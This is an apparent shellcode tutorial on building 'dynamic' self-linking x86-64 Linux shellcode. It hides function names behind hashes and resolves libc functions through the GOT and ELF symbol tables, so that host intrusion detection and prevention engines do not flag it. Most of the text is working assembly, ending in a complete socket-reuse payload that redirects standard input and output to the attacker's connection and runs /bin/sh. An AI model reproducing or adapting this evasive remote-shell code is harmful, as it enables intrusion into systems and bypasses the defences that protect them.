Shellcode/Dynamic

Dynamic shellcode or self-linking shellcode is built to evade several types of host-layer countermeasures from security infrastructure (such as HIDS and HIPS engines) that can prevent the execution of traditional 'unlinked' null-free shellcode because it contains no interrupts, syscalls, or plaintext function strings.

The code and ideas discussed here are part of an all-encompassing shellcode portal. Everything described here and the full source of any given code is available in the appendix, as well as in the downloadable shellcodecs package.

Justification

Most security infrastructure components do runtime analysis based on the contents of RAM in both data and executable marked segments. Moreover, many of these systems may even inspect kernel interrupts and syscalls from within the kernel. Others may monitor the functionality of _ld_runtime_resolve, a trampoline to _dl_fixup(), provided by ld-linux for a normal application to make shared library calls. Many of these systems will be alerted by applications trying to execute syscalls or interrupts without having them in their .text segments, or when an application attempts to use _ld_runtime_resolve, _dl_fixup, dl_open, dl_close, or dl_sym to import a function not listed in its import table. Additionally, using functions such as dl_open() and dl_sym() require the use of plaintext strings. Any analyst with a level of common sense would be able to reverse engineer the payload quickly - another problem presented by traditional null-free shellcode.

A dynamic shellcode engine is able to solve these problems. By avoiding registers used by the C calling convention, it is possible to construct a linker that allows a developer to write dynamically self-linking code. This discards the need for interrupts and syscalls entirely, as a linker is able to import functions without assistance from the operating system. Additionally, function hashing is used to prevent function names from displaying within string data, solving the problems with standard null-free shellcode listed above.

The C Calling convention's impact

• The usual format for a system call or libc function invokation:

function_call(%rax) = function(%rdi, %rsi, %rdx, %r10, %r8, %r9)

• The return value is usually returned into the %rax register, however when struct pointers are passed as arguments, a pointer to the modified struct returns in that argument register.

The above statement dictates that when writing a linker, the following registers need not be preserved for function calls before invokation without syscalls:

%rax, %rbx, %rcx, %rbp, %r11, %r12, %r13, %r14, %r15

Most of these registers can get blown away or destroyed by various libc functions, however %rbx is reserved for "developer use" by libc. When writing a dynamic linker, function arguments must be preserved so that a developer can easily write dynamically integrated code. To that end, this linker takes %rbx as the base pointer to a library and %rbp for a function hash. This ensures that the developer maintains control over %rax, %rdi, %rsi, %rdx, %r10, %r8, and %r9. The %rcx register is used as the pointer to the invoke_function label, and may need to be preserved between function invokation.

Function hashing

Additional labels have been added to make this more readable.

This functionality expects %rdx to be zero and a pointer to a string in %rsi. It then makes a one-way 32-bit hash of the string and places the hash into %rsi.

• First, the registers used by the hasher other than %rsi are preserved.

calc_hash:   preserve_regs: push %rax push %rdx

• The %rdx register is used as a zreg, or zero register by the code that invokes the hasher. This lets us zero out the %rax register with a simple push/pop mov emulation:

initialize_regs: push %rdx pop %rax

• Next, the directional flag is cleared. This is important because the lodsd is used during the hashing process and the state of the directional flag set by the exploited application is unknown.

cld

• To make the one-way 32 bit hash, the byte in %al to %edx must be added, doing a bit rotation to the left by 12 (0xC) bytes. When the byte loaded by lodsd is null, the hash of the string has been fully calculated.

calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop

• Now use push and pop as a mov emulation again to place the hash into %rsi:

calc_done: push %rdx pop %rsi

• Finally, restore the preserved registers:

restore_regs: pop %rdx pop %rax

Dynamic section traversal to the GOT

• The dynamic section's program header for the currently executing process will always have a VMA of 0x00400130. The following code can be used to get there without using any null bytes:

_start: push $0x400130ff pop %rbx shr $0x8, %ebx

• Here, pointer's extracted to the dynamic section, then add its length to it. The GOT (Global Offset Table) is immediately after the dynamic section, so to the GOT's traversed without reading its location from the headers. That's good, because the location of the GOT is not stored in the ELF or program headers.

fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx

Extracting a library pointer

• This code extracts a pointer to an arbitrary function inside of libc from the GOT. An alternative to libc is at 0x18(%rcx), which is a pointer to _dl_runtime_resolve from the ld-linux shared object library.

extract_pointer: mov 0x20(%rcx), %rbx

• Now just look for the base pointer of the binary selected for importing by looking for \x7f followed by the text string ELF. Because the RAM holds the information backwards, run a backwards comparison. Loop until the base pointer has been isolated:

find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base

Staging the user defined code

• Now that a base pointer has been calculated, it is time to stage the developer or user-defined code. To make invoke_function re-usable from a register, a getPc via %rcx is invoked that jumps to the _world label and never returns. The address of invoke_function has then been stored in the %rcx register, allowing developers to access it efficiently.

jmp startup   __initialize_world: pop %rcx jmp _world   startup: call __initialize_world invoke_function: ... _world: ; user-defined code goes here

The interface

The runtime linker developed here allows user-defined code to start at the _world label. This example is a small dynamic snippet that when combined with the linker's API equivocates to `exit(0)':

_world: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx

While its unlinked counterpart would be:

exit: push $0x3c pop %rax xor %rdi, %rdi syscall

So, instead of placing a function number into %rax and executing a syscall, dynamic shellcode in this context places a function hash into the %rbp register, then executes call *%rcx.

Developers should be aware to preserve %rcx when invoking functions which may destroy the register, or remove this limitation by changing the register popped in the __initialize_world label.

The invoking of functions

• A comment has been provided in case developers forget the interface functionality:

; ; Takes a function hash in %rbp and base pointer in %rbx ; >Parses the dynamic program headers of the ELF64 image ; >Uses ROP to invoke the function on the way back to the ; -normal return location ; ; Returns results of function to invoke. ;

• The first thing that must be done is preserve all the registers that may interact with libc along with any registers that may be used by the linker. You'll notice that %rbp is preserved twice. This is because the first preservation is overwritten with a pointer to the desired function before returning. This allows us to return from the desired function back to developer-defined code.

invoke_function: push %rbp push %rbp push %rdx push %rdi push %rax push %rbx push %rsi

• Now zero the %rdx register and place the function hash into %rdi for future comparison.

set_regs: xor %rdx, %rdx push %rbp pop %rdi

• Then the base pointer of the desired library to import from is placed into %rbp

copy_base: push %rbx pop %rbp

• This is a hack to get to the dynamic offset. It's necessary to access 0x130(%rbx) for four bytes, but add it to an eight-byte register. %ebx can't be added to because this will chop %rbx in half - so add the offset to the dynamic section to the base pointer using indexed addressing mode. Because $0x4c * 4 = 0x130, and %rbx is the base pointer, the following code will suffice:

read_dynamic_section: push $0x4c pop %rax add (%rbx, %rax, 4), %rbx

• Try to to find the function export table. Typically, this table is called .dynsym, or the dynamic symbol table. Do this by iterating through the headers, checking for the type of dynamic section:

check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type

• Once the %rbx register is positioned at the correct program header for the dynamic symbol table, place the absolute address to the string table into %rax and the absolute address to the dynamic symbol table into %rbx.

string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table.

• Here, it's incremented to the next export and the pointer is put to its string into %rsi for hashing:

check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi

• The calc_hash label is invoked as described above for function hashing.

calc_hash: ...

• Compare the function hash of the current export with the hash of the desired import. If the hashes are not equal, loop to the next import.

check_current_hash: cmp %esi, %edi jne check_next_hash

• Once the hash is found, its function offset is located at 0x8(%rbx) for four bytes. %rdx is used as a zreg in this equation to access the four bytes without nulls - and add them to %rbp, the base pointer:

found_hash: add 0x8(%rbx,%rdx,4), %rbp

• Here, the first instance of %rbp that was preserved with the location of the desired function is overwritten:

mov %rbp, 0x30(%rsp)

• Then restore all registers. This will align the return pointer to point at the desired function, and the pointer immediately following it in the call stack points to the original return pointer, the location after the code which invoked this function.

pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret

The dynamic shell

• Once added to the linker, this becomes a total of a 268 byte dynamic port of the 115 byte socket-reuse payload. There are a few ways to optimize it that will be left for the reader to discover.

_world: movl $0xf8cc01f7, %ebp # hash of getpeername() is in %rbp push $0x02 pop %rdi   make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi   loop: inc %di jz exit   stack_fix: lea 0x14(%rdx), %rsp   get_peer_name: sub $0x20, %rsp push %rcx call *%rcx # getpeername(counterfd,sockaddr_in) pop %rcx   check_pn_success: test %al, %al jne loop   # If sucessful, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax not %eax cmpl %eax, (%rsp,%r8,4) jne loop   check_port: movb $0x35, %r8b mov $0x2dfb, %ax not %eax cmpw %ax,(%rsp, %r8 ,2) # jne loop   push $0x70672750 pop %rbp # Function hash of dup2() is in rbp   reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi   dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx # dup2(sockfd,std[err|in|out]); pop %rcx inc %esi cmp $0x4, %esi jne dup_loop   movl $0xf66bbb37, %ebp # Place the function hash for execve() into %rbp   pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0'   call *%rcx # execve('/bin/sh',0,0);